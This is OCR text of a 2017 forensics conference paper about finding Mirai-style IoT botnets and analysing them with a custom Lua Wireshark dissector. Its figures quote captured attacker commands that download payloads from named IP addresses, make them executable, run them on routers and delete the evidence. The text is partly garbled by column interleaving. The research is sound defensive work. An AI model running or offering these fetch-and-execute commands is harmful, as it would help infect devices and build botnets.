An Accidental Discovery of Iot Botnets and a Method for Investigating Them with a Custom Lua Dissector
Total Page:16
File Type:pdf, Size:1020Kb
2017 Annual ADFSL Conference on Digital Forensics, Security and Law Proceedings May 15th, 10:00 AM An Accidental Discovery of IoT Botnets and a Method for Investigating Them With a Custom Lua Dissector Max Gannon University of Alabama, Birmingham, [email protected] Gary Warner University of Alabama, Birmingham, [email protected] Arsh Arora University of Alabama, Birmingham, [email protected] Follow this and additional works at: https://commons.erau.edu/adfsl Part of the Digital Communications and Networking Commons, Forensic Science and Technology Commons, Information Security Commons, OS and Networks Commons, Other Computer Engineering Commons, and the Other Computer Sciences Commons Scholarly Commons Citation Gannon, Max; Warner, Gary; and Arora, Arsh, "An Accidental Discovery of IoT Botnets and a Method for Investigating Them With a Custom Lua Dissector" (2017). Annual ADFSL Conference on Digital Forensics, Security and Law. 3. https://commons.erau.edu/adfsl/2017/papers/3 This Peer Reviewed Paper is brought to you for free and open access by the Conferences at Scholarly Commons. It has been accepted for inclusion in Annual ADFSL Conference on Digital Forensics, Security and Law by an (c)ADFSL authorized administrator of Scholarly Commons. For more information, please contact [email protected]. An Accidental Discovery of IoT Botnets and ... CDFSL Proceedings 2017 AN ACCIDENTAL DISCOVERY OF IOT BOTNETS AND A :METHOD FOR INVESTIGATING THEM WITH A CUSTOM LUA DISSECTOR Max Gannon, Gary Warner, Arsh Arora University of Alabama at Birmingham 1201 University Blvd, Birmingham, AL 35233 {gannonm, gar, ararora}@uab.edu ABSTRACT This paper presents a case study that occurred while observing peer-to-peer network communications on a botnet monitoring station and shares how tools were developed to discover what ultimately was identified as Mirai and many related IoT DDOS Botnets. The paper explains how researchers developed a customized protocol dissector in Wireshark using the Lua coding language, and how this enabled them to quickly identify new DDOS variants over a five-month period of study. Keywords: IoT, Botnet, Mirai, Wireshark, LUA, DDOS 1. INTRODUCTION The problem came into the limelight when the website of famous security journalist Brian The Internet of Things (IoT) has been the Krebs came under a Distributed Denial of focus of much attention in the latter half of Service (DDOS) attack with a speed of close to 2016. It is well-established that the Internet of 650 Gbps [Krebs, 2016a]. This attack surprised Things is growing at a rapid pace and the the information security world with its sheer number of IoT devices already approaches the magnitude, almost double the size of the number of people on the planet [Nordrum, previous record. Just over a month later, 2016]. With this growth, security breaches internet users around the world noticed when could cause unprecedented damage to Dyn came under attack, again breaking the consumers and threaten the safety of the record at an estimated l.2Tbps [Hilton, 2016]. internet as a whole. The Federal Trade Both of these times the majority of the attack Commission is facing this problem by offering was directly attributed to the Mirai botnet. a $25k prize to anyone who can provide a way Mirai created an army of routers and various to protect against security vulnerabilities IoT devices forcing them to become a part of caused by out-of-date IoT devices this onslaught [Krebs, 2016b]. As the scanners [Commission, 2016]. At t he beginning of 2017, used by Mirai began to hit the botnet the FTC went even further, filing suit against monitoring stations running in the authors' D-Link alleging that they had misled the lab, it caused a temporary shift in focus from public by claiming their devices were secure, Kelihos botnet tracking towards Mirai botnet when in fact , their IP-cameras and routers tracking. In the following paper, a brief case were not [Fair, 2017]. @ 2017 ADFSL Page 27 ADFSL Conference Proceedings 2017 An Accidental Discovery of IoT Botnets and ... study is presented of how a distinctive purpose routers, as has been well documented since Lua decoder was developed for Wireshark to August 2014; TrendMicro recorded at least two study IoT botnet traffic, and results of the million vulnerable routers on the Internet investigation using the decoder are shared. [Yeh, 2014]. 2. BACKGROUND 3. EARLY EXAIVIPLE The researchers have been monitoring the SCRIPT Kelihos botnet, watching inbound traffic After discovering that this was not Kelihos, requests, because of the peer-to-peer nature of the researchers began gathering the files that the botnet. By watching the inbound requests, the monitoring station was instructed to one can learn the identity of other infected download as if it were an obedient Netis router nodes which are asking the monitored node for following the given commands. It was on commands, and this is helpful in trying to August 11, 2016, that it was discovered that determine the size and scope of the botnet. the monitoring station was being invited to Regular Kelihos traffic often makes a port 80 join an !RC-driven DDOS Botnet. This was request for a file that our monitored node can done via the plain text command shown in either provide directly or can serve as a proxy Figure 1. to provide. cd /tmp II cd /vaI/run II cd /mnt II cd /shm II cd /root II cd /; Beginning around August 4, 2016, requests began to be seen on a high-numbered UDP wget bttp://64.13 7.205.11 /lol.sh; port (53413) instead. Wireshark, a network chmod 777 lol.sh ; monitoring, network protocol analysis tool, believed that port 53413 was Skype traffic and sh lol.sh ; displayed error messages that the protocol rm -rflol.sh decode was failing. Upon manual review of Figure 1. First Received Commands these packets, it was learned that the traffic was trying to execute a Trivial File Transfer This command directed any infected Protocol (tftp) file download of a shell script routers to change into a local directory, if it file, but was doing so using a command prefix exists, named either / tmp, / var/ run, / mnt, of busybox. / shm, / root, or / . From that directory, the devices are then told to wget the file lol.sh "Busybox" is a commonly deployed binary from the IPv4 address 64.137.205.11. They are on embedded Linux systems that allows a then told to wget the file lol.sh from the IPv4 single executable to replace a large set of address 64.137.205.11. They are then told to executables by emulating the function of many make the file executable with chmod, execute standard Linux commands [Vlasenko, 2008]. its contents with sh, and then remove the After discovering the purpose of the "busybox" "evidence" with rm -rf. The file contains 2 lines prefix, it became evident that this traffic was of code which have been separated into distinct not targeting the botnet monitoring station as commands in Figure 2 below. part of Kelihos Command & Control traffic, but rather in the context of a scan to discover embedded Linux systems. Port 53413 was found to be a hardcoded backdoor port of particular Chinese-manufactured routers, with the most common being Net core and Netis Page 28 @ 2017 ADFSL An Accidental Discovery of IoT Botnets and ... CDFSL Proceedings 2017 cd /tmp 11cd /var/run II cd /mnt II cd /root II cd /-,rm -rf *;\ By this time, the criminals had begun to realize that their binary could be running on wget http:/164. 13 7.205.11/xxms; many different platforms in addition to the cat xxms >busybox.;chmod 777 busybox;./busybox Netis/ Netcore routers. To accommodate this, scanners began attempting to execute many cd /tmp II cd /var/run II cd /mnt II cd /root II cd /;rm -rf *; different versions of the same binary, compiled wget http :1/64.13 7.205.11/xxsel ; for different chipset. For example, the "gtop.sh" in the command shown in Figure 3 above cat xxsel >busybox.;chmod 777 busybox;./busybox contained this set of commands: Figure 2. File Contents cd /tmp && wget -q hnpJ/208.67. 1.175/jackmymipsel && chmod +x jackmymipsel && Jjackmymipsel cd /tmp && wgct -q hnp) /208.67.1.175/jackmymips && chmod +xjackmymips && ./jackmymips These commands also attempt to change cd /tmp && wge1 -q http://208.67.1. 175/jackmysh4 && chmod +xjad::mysh4 && Jjackmysh4 cd /tmp && wgct -q hnp:/l208.67.1.175/jackmyx86 && chmod +x.jackmyx86 && ./jackmyx86 into a directory, if it exists, named either cd /tmp && wgct-q hnp://208.67.1 .175/jackmyarm,·6 && chmod +x.jackmyannv6 && ./jackmyann,·6 / tmp, / var/ run, / mnt, / root, or / . However, cd /tmp && wgct -q http://208.6 7.1 .17S/jackmyi686 && chmod +x.jackmyi686 && ./jackmyi686 once that destination is reached they are then cd /tmp && wgc1-q hnp ://208.67.1.175/jackmypowcrpc && chmod +x.jackmypowcrpc && ./jackmypowc cd /tmp && wgct -q hnp://208.67 .1.1 75/jackmyi586 && chmod +x. jackmyi586 && ./jackmyiS 86 directed to remove any files in that location. cd /tmp && wgct-q http://208.67.1.175/jackmym86k && chmod +x.jackmym86k && ./jackmym86k W get is then used to fetch xxms from the same cd /tmp && wgct -q hnp://208.67.1.175/jackmysparc && chmod +x.jackmysparc && ./jackmysparc location, 64.137.205.11. While the process has Figure 4. Contents of gtop.sh been similar up until this point, when it comes to execution the script contents are subtler. In this case, variants can be identified for Using "cat" to rename the downloaded file to the x86, ARM, PowerPC, i686, i586, and Spare busybox, the new file is set to be executable chipsets, based on the file names alone. Each with chmod, and is then executed as an command that is for the wrong chipset will fail application.